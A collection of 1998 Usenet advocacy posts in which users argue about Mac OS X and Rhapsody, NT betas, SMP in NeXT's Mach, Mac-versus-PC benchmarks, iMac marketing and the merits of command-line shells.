people claim it all the time. Just because _you_ use the rather weak "up
to" qualifier doesn't mean everyone does, Joe :).
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 21:41:01 -0500
Organization: Ericsson Inc.
Message-ID: <360076BD.994F9126@exu.ericsson.se>
References: <35f981c1.4716408@news.alt.net> <35FEC87E.D36A6CA0@nstar.net> <6tmm88$1k7@newsb.netnews.att.com> <rmcassid-1509981638450001@hephaestus.eng.uci.edu> <6tohib$3eo@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Certainly, it is the long-term that counts. The point, however, is that
> given the present market perception, Apple is not in a position to
> dictate prices.
The issue was never about prices, as a quick review of the thread you're
posting to will reveal. The issue was breaking OS support for hardware.
Apple is certainly in a position to do this, as it already has.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 15:17:59 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tokr7$3is@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@Ericsson.com> wrote:
>
>It certainly is. Far more developers have worked with NT betas than with
>Rhapsody DR2. Far more periodicals have evaluated and reviewed the
>product. NT beta isn't under NDA, eh?
Moving goal posts, eh ? It has changed from number of betas to the
number of people who have worked with the betas.
> [snip]
>Isn't CR1 supposed to be fairly public? And wasn't it supposed to ship
>sometime in Q1, and then Q3?
CR1, I assume, stands for the first customer release, i.e., it is the finished
product and not the beta. Since we were talking about betas, public and
private, how is CR1 relevant to that ? And as I've already stated,
there is no date announced for customer release of NT 5.0 or of
MacOS X Server.
-arun gupta
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 16:06:49 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6tonmp$hhn$1@news.spacelab.net>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com> <6tnnv7$3sj$1@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote:
[ ... ]
>I don't know the complete story about multiprocessing but I've heard that
>the G3 isn't MP friendly, and I'm sure I also heard on these newsgroups
>that Mach isn't quite SMP but some other MP..
Mach certainly can support SMP. However, NeXT never shipped a version of
their OS which had SMP enabled.
They did, of course, ship a NUMA AMP (non-uniform memory architecture
asymmetric multiprocessing...which is about as close to techobabble as I like
to come) version-- the NeXT Dimension system.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
<rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>
<rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>
<rmcassid-1609981153440001@hephaestus.eng.uci.edu> <6tp5l8$ro@news1.panix.com>
<AYXL1.6217$MS.16131090@news.rdc1.sdca.home.com> <6tprgs$7ul@news1.panix.com>
Message-ID: <GI0M1.6241$MS.16251550@news.rdc1.sdca.home.com>
Date: Thu, 17 Sep 1998 05:01:26 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 22:01:26 PDT
Organization: @Home Network
In <6tprgs$7ul@news1.panix.com> Sal Denaro wrote:
> On Wed, 16 Sep 1998 23:37:04 GMT, rr6013@yahoo.com <rr6013@yahoo.com>
wrote:
> >Sal, you're the man...
>
> Thank Stephane Corthesy for the program and Scott Anguish for Stepwise.
>
>
Appreciation and Thanks to Stephane AND Scott of Stepwise fame...
> >if this compiles on MacOS X then there is an Apple in
> >my future. But we must wait...
>
> As a stock holder, I urge you to buy at least three... :)
>
>
Funny isn't it when you can make more money owning the stock of a company
than buying its products. We invested the proceeds of Starr.Com in AAPL @
15 in Nov 1996. Needless to say that we made more return on investment (2X
in 8 mos.) , than we ever found selling WO software.
> >Note: this version can be used only with RDR2; it cannot work on
> > RDR1, and will probably fail to work as-is with future versions
> > of Rhapsody/MacOS X. The NeXTStep style will disappear in future
> > releases (sniff!).
>
> Did you read the bit about adding new NSInterfaceStyles by editing the
> plist? I get a feeling that You'll be able to pick and choose from a
> bunch of NeXT-Like UIs by the time OSX ships.
>
>
I'm not so much in love with widgets as the mix of
CLI/drag&drop/MP/windowing productivity NeXTSTEP brought to desktop
environments. The productivity of the NS environment is in the mix.
Constraining the UI to Mac widgets + style bites into the "freedoms" I've
learned to use with NS style workspace. Though I hate to think of this 21"
monitor constrained by a Mac menu bar waay UP at the top, it's more
important to be able to flow through your work without the pedantic Mac
interface "insisting" upon my constant _mousing_.
The secret behind a program like OmniWeb is in the way you can make it fly
through a website without alot of mousing/clicking outside of the window.
Alot of NeXTSTEP was in those design details which would be lost if just the
widgets pop-up in place of their Mac counterpart w/o the design integration
also.
-r
> Anyone know if this can be extended to use pixmaps like E does?
>
>
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 16 Sep 1998 16:04:06 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn6vvobl.8aq.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <EzAHE7.4r9@T-FCN.Net> <35FD7531.85E4847F@ericsson.com> <6tk041$rc8@newsb.netnews.att.com> <atlauren-1409981710490001@jungleland.acs.uci.edu>
NNTP-Posting-Date: 16 Sep 1998 16:04:06 GMT
On Mon, 14 Sep 1998 17:10:49 -0700, Andrew Laurence <atlauren@uci.edu> wrote:
:In article <6tk041$rc8@newsb.netnews.att.com>,
:
:At a recent poker game, I learned that industry average is 15 bugs per
:thousand lines of code. Microsoft average is 17. (Or thereabouts. As a
:sage of wisdom once opined, "it's amazing how a few beers can retain the
:spirit of information, yet completely hose the detail.")
The real question is what is the efficiency of the various programmers in
"code per functionality provided".
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 10:57:47 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R1609981057470001@news.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <35ffae25.4266171@nntp.service.ohio-state.edu>
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In article <35ffae25.4266171@nntp.service.ohio-state.edu>,
nospam@nospam!.kom (Steve) wrote:
>Depending on who is posting, you get all sorts of shifting arguments
>on both sides. Some Mac advocates claim that the 30% number so widely
>quoted (or misquoted) is based on multiple applications (without
>providing any evidence AFAIK), and some claim it applies only to
>Photoshop. I've made my own claims with respect to published
>benchmarks, but the truth is that benchmarks can be designed to
>support most any position.
>
>The difference that I see is that Mac advocates and Mac-oriented
>Magazines (and Apple itself) seem to make no effort to publish any
>benchmarks comparing Macs and PCs other than Integer Bytemark and
>Photoshop. At least the PC-oriented magazines have made an effort to
>compare multiple real-world applications. If these benchmarks are
>biased, the Mac-oriented magazines should publish their own tests to
>make their case IMO.
>
I sure did post the Floating-Point ByteMark test. And there is good
reason to use PhotoShop for benchmarking, as pointed out in several Mac
magazine columns -- how much does a word-processing benchmark really
matter? A word-processing demon of a machine probably won't save you much
time over a merely average one, considering the fact that you still have to
write your document. If the OS is easier to use, it may help you get this
work done faster, but that's about it. A fast PhotoShop machine might save
you a good part of an hour on a single step, where you would normally be
forced to go for a coffee break.
Now if your computer works out of the box without any problems, lets you
add hardware later in a trouble-free fashion, then it could save you hours
of setup and troubleshooting. It would take some heavy-duty word
processing and web surfing to make up that time.
And finally, the clincher: we're not the ones hanging around a Windows
newsgroup challenging the readers to constantly justify themselves to the
users of some other OS. Why should we put out any Herculean effort
whatsoever?
>-Steve
>
>-Steve
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Q] Rhapsody File Viewer
Date: Wed, 16 Sep 1998 16:07:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tonoc$5o6$1@nnrp1.dejanews.com>
References: <6tllne$o48$1@nnrp1.dejanews.com> <6tlteq$qqo@shelob.afs.com> <35FE1D3C.6A3E@earthlink.net> <6todao$4n4$1@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > > The Rhapsody file viewer is the same one as in the WorkSpace Manager?
> > > > Will this be shipping with "normal" MAC OS X
> > > Pretty much, except there's no shelf. OTOH, the entire workspace is now
> > > one big shelf.
> >
> > So does that mean when you select an icon on the "desktop" (shelf) the
> > file viewer "jumps" to that item in the browser like in NeXT/Openstep?
> >
> No, unfortunately.
> On the whole I can live with most of the changes from the OPENSTEP to the 'X
> UI; lack of the shelf is beginning to grate, though. Sorry Greg, but
> functionally the entire workspace is *not* "one big shelf", and navigating
> the filesystem is more difficult as a result.
Early on, there was talk that that fileviewer would be replacable. Is there
any indication that this is the case? Failing that, would be it not be
possible to write a "shelf.app" which simply provides a window on which
things can be placed for easy access, as in NeXTSTEP's shelf? It would have
to be set so that it comes up anytime the fileviewer is brought to the front.
If that could be done, though, then we could get all the same functionality
back. Even better, we might be able to get enhanced functionality (eg
multiple shelves, some purely temporary, some more permanent; items on
shelves being 'sticky' or not; selecting them causing the main fileviewer to
switch to their location or not; etc).
(Incidentally, it's nice to see mmalcolm back. The signal to noise ratio had
gone way down in his absence. I hope the absence was due to his working hard
to get Mesa ready for the release of MacOS X server.)
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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<rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>
<rmcassid-1409982052490001@dialin9181.slip.uci.edu> <E8HL1.6148$MS.15631829@news.rdc1.sdca.home.com>
<rmcassid-1609981201070001@hephaestus.eng.uci.edu>
Message-ID: <NcYL1.6220$MS.16138904@news.rdc1.sdca.home.com>
Date: Wed, 16 Sep 1998 23:54:21 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 16:54:21 PDT
Organization: @Home Network
In <rmcassid-1609981201070001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <E8HL1.6148$MS.15631829@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >Aghh... FM's for city slickers' ... there ain't no hog belly markets on
FM.
>
> Actually, I think it has been scientifically concluded that both country
> _and_ western music sound like hell in stereo. Or something to that
> effect...
>
>
Today's CW artists are recording HDCD but releasing to the public without
identifying their CD's HDCD. The logic being that CW crowds don't care
about fancy sounding acronyms much less pay for them. But they are getting
them anyway, since the artists prefer the format.
So you'll see Garth Brooks light up the HDCD light but no where will you
find HDCD on the packaging.
-r
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 00:00:32 GMT
Organization: MiscKit Development
Message-ID: <6tpjf0$18r$3@news.xmission.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com> <6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net> <6tpffs$2fc$3@msunews.cl.msu.edu>
NNTP-Posting-Date: 17 Sep 1998 00:00:32 GMT
spammers@ruin.the.internet.channelu.com wrote:
> Do you happen to have any clue whether enabling SMP is as simple
> as enabling it in the kernel. I would have though the myriad of underlying
> cache and MP hardware implementations would have some effect on
> this.
There's an old post to one of the NeXT groups from a NeXT enginerr--might
have been Mike P., in fact, that said it is much more than just flipping a
switch at compile time, and that SMP is very non trivial to get working.
Especially if there is no standard and you have to do a driver for each of
many possible motherboards.
Basically the answer was to the question of why SMP hadn't been turned on for
Pentium or better systems with multiple processors. The answer had to do
with the fact that, at least at the time, there was no discernible "standard"
to code to, and that it would cost too much development time to be worth
doing for the small number of copies that would actually make use of it...
> As to the NUMA AMP. Fascinating. I wonder if Mike P. will chime
> in here and correct or confirm this (not that I doubt you - just like
> to have independant opinions).
There's also the NRW--NeXT Risc Workstation--that was to be based on the 88k
series. I think that this one was assymetrical, too, even though it had two
88k's in it. One handled DPS primarily, while the other ran all the other
code.
> Now I have this itch to read up on the different Multiprocessing
> methods folks have dreamed up.
It's a real swamp out there...there's a LOT of different stuff! Have fun...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 00:42:05 -0500
Organization: (none)
Message-ID: <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com> <6tp05f$s80@news1.panix.com>
In article <6tp05f$s80@news1.panix.com>, sal@panix.com wrote:
| A sysadmin, DBA or Programmer should know the shell. A person who
| spends all day in Excel or Photoshop will get greater benefits out
| of learning VBA or AS then they will get out of learning the shell.
A person who use Photoshop all day isn't going to get a damn thing
out of learning either VB or AppleScript, because Photoshop doesn't
support either one.
And what do you mean by "the shell," anyway? There are lots of shells,
and they aren't all the same by any means.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 00:46:56 -0500
Organization: (none)
Message-ID: <jdoherty-1709980046560001@aus-tx28-05.ix.netcom.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>
In article <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
| Scott Hess wrote in message ...
| >Which is _exactly_ the reason that a capable CLI deserves to be
| >present on all modern operating systems (this is one of my gripes with
| >NT, in fact).
|
| But... NT has a CLI. (Start:Program Files:Command Prompt).
Yeah, but that CLI is pretty much just dumb old DOS, so it doesn't
really count for that much.
I think the previous poster is right: a decent OS should have a
decent shell, and DOS doesn't count as a decent shell. It's just
about the lamest shell you'll ever run across.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 17:13:59 +1000
Organization: University of Queensland
Message-ID: <6tqcn5$uit$1@bunyip.cc.uq.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137>
Sal Denaro <sal@panix.com> wrote in message 6tprdv$7uf@news1.panix.com...
>On Thu, 17 Sep 1998 06:42:50 +1000, Christopher Smith <drsmithy@usa.net>
wrote:
>>>I don't know whether that is Scott's opinion, but lord knows it's
certainly
>>>mine. Doskey and a Cmd prompt do not come close to zsh on a Unix box.
The
>>>largely MS-DOS derived CLI programs under NT are wildly inconsistent in
>>their
>>>command-line arguments, syntax, ability to handle wildcards, and so
forth.
>>
>>Given that I have always found CLI tools under NT to be far more
consistent
>>wrt to the criteria you give above, I'd be interested to hear some
examples.
>>
>
>I think he is talking about "wildcard expansion" as opposed to some Apps
that
>use the "wildcards as an argument"
>
I'd still like to see some examples.
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <35ffae25.4266171@nntp.service.ohio-state.edu> <mteh-ya02408000R1609981057470001@news.earthlink.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <eE1M1.482$dZ.471199@newsfeed.slurp.net>
Date: Wed, 16 Sep 1998 23:02:14 +0100
NNTP-Posting-Date: Thu, 17 Sep 1998 01:04:58 CDT
Organization: Slurp News Feeds
Oliver M. Sun wrote in message ...
>A fast PhotoShop machine might save
>you a good part of an hour on a single step, where you would normally be
>forced to go for a coffee break.
That's the great thing about pre-emptive multitasking... I never have to go
for a coffee break... I simply do something else (on the computer) until the
process is finished.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se>
Subject: Monopolies
Message-ID: <dE1M1.481$dZ.471199@newsfeed.slurp.net>
Date: Wed, 16 Sep 1998 23:00:10 +0100
NNTP-Posting-Date: Thu, 17 Sep 1998 01:04:57 CDT
Organization: Slurp News Feeds
A quick remider to you all...
It is _not_ illegal to have a monopoly.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <6toan2$hdp$1@bunyip.cc.uq.edu.au> <ZpOL1.408$2M.663946@newsfeed.slurp.net> <6toti2$rd8$1@bunyip.cc.uq.edu.au>
Subject: Re: What we need from Mac OSuX
Message-ID: <%D1M1.472$dZ.471199@newsfeed.slurp.net>
Date: Wed, 16 Sep 1998 22:01:15 +0100
NNTP-Posting-Date: Thu, 17 Sep 1998 01:04:43 CDT
Organization: Slurp News Feeds
Christopher Smith wrote in message <6toti2$rd8$1@bunyip.cc.uq.edu.au>...
[snip]
>Read what I said. Just about every benchmark you care to run puts a G3
>faster _at the same clock speed_. However, this is counteracted by the
fact
>that pIIs are available in much higher clock speeds, and pIIs of comparable
>speed cost less than G3s.
[snip]
>I never tried to say G3s were faster _overall_ or at a given price point.
>Merely that they have more processing grunt at the same clock speed.
My apologies
Dan
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzF275.Bpp@netcom.com>
Sender: edew@netcom20.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <36004a01.0@news.depaul.edu> <edewEzEM7z.GpB@netcom.com> <6tps27$847@news1.panix.com>
Date: Thu, 17 Sep 1998 07:01:50 GMT
In article <6tps27$847@news1.panix.com> sal@panix.com writes:
>On Thu, 17 Sep 1998 01:16:46 GMT, Eric Dew <edew@netcom.com> wrote:
>
>I doubt it. The market was willing to go with a knock-off for no other
>reason then supply. When I bought my MacSE, I had to wait three days to
>pick it up. Everyone who bought PCs got them the same day.
>
And what happens if the demand for iMacs increase and the production can't
match it? What would that do to the sales of iMacs?
>
>And what is keeping Compaq from building a Knock-Off? Is everyone down
>in Texas color-blind? Is all that sand making them the whole world is beige?
>
Apple would be happy if Compaq built a knock-off. Emulation is the sincerest
form of flattery, and free advertisement for the original product.
>>Is the iMac marketing plan working just right? Can't say for sure. But,
>>it's helluva better than whining to the DoJ that MS copied the GUI.
>
>Selling _more_ iMacs would be better. Do you have some objection with Apple
>getting the #1 spot in PC sales? As a stock holder, I hope they don't hire
>you for a marketing job.
>
No, thank god YOU'RE not in the marketing job. Selling more is not the
goal. Making a profit is the goal. Would you advocate selling iMacs at
a loss, just to sell more? Your reasoning would suggest that selling iMacs
at $0.05 a pop would be the best thing for Apple because I'm sure even the
local homeless folks down in SF can spare a nickel.
The only goal is increase profits, not increase revenue (although in most
instances, increasing revenue = increase in profit), not increase in market
share, not anything else. Of course, increasing revenue or increasing
market share MAY result in increased profits, but that has to be demonstrated.
EDEW
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzEM7z.GpB@netcom.com>
Sender: edew@netcom18.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <360027ec.0@news.depaul.edu> <edewEzEFtA.M2G@netcom.com> <36004a01.0@news.depaul.edu>
Date: Thu, 17 Sep 1998 01:16:46 GMT
In article <36004a01.0@news.depaul.edu> Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
>
>"Why buy Windows when you can buy the real thing, a Mac?" That didn't
>work either, and that attitude won't work with the iMac.
>
That's exactly right. Mac had the lock on the UI and didn't do the right
thing with it. Instead, they tried the legal route. If they instead plead
with the market by selling the fact that Windows is a Mac knock-off, they'd
be in better shape than what really happened. (Instead, they went the
lawsuit route, which is like taking a bunch of Pop Warner level players
against the Denver defense, and spent time and energy doing the wrong thing.)
>The iMac is not the un-cola. The iMac is diet coke with a slice of
>lemon. Other vendors can get lemons too.
>
Look, it's not whether the iMac is in reality the un-cola. It's the perception
that counts. The perception and the moment is that the iMac IS different.
And Apple has to ride that perception for all its worth. It's not the
truth that matters (otherwise, who'd buy MS products? Microsoft Money
vs Intuit's Quicken? MS Mail over Lotus Notes [although, being a Notes
user, I have to say that Notes sucks the big wahoona], BOB vs <any other
OS you could ever think of>). The thing that matters is the perception. The
market is the mind of the customer and you must make them believe in your
product. To do so, you must position yourself properly so that the
belief sticks.
Is the iMac marketing plan working just right? Can't say for sure. But,
it's helluva better than whining to the DoJ that MS copied the GUI.
EDEW
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 03:36:49 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R1709980336490001@news.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <35ffae25.4266171@nntp.service.ohio-state.edu> <mteh-ya02408000R1609981057470001@news.earthlink.net> <eE1M1.482$dZ.471199@newsfeed.slurp.net>
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In article <eE1M1.482$dZ.471199@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
>Oliver M. Sun wrote in message ...
>
>>A fast PhotoShop machine might save
>>you a good part of an hour on a single step, where you would normally be
>>forced to go for a coffee break.
>
>That's the great thing about pre-emptive multitasking... I never have to go
>for a coffee break... I simply do something else (on the computer) until the
>process is finished.
>
>Dan
Pre-emptive multitasking does not, contrary to commonly stated belief,
magically multiply total processing power (a fixed quantity). It is not as
if Windows NT could divide the loaves of bread so that there is enough for
all.
If you are busy doing work on a project which needs X done, and you can't
move forward until X is completed, and then you can apply Y, then you can
mess around with your computer, sure, but what you really want is all the
processing power available to work on X.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 06:56:10 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1709980656100001@jchristie.halifaxcable.dal.ca>
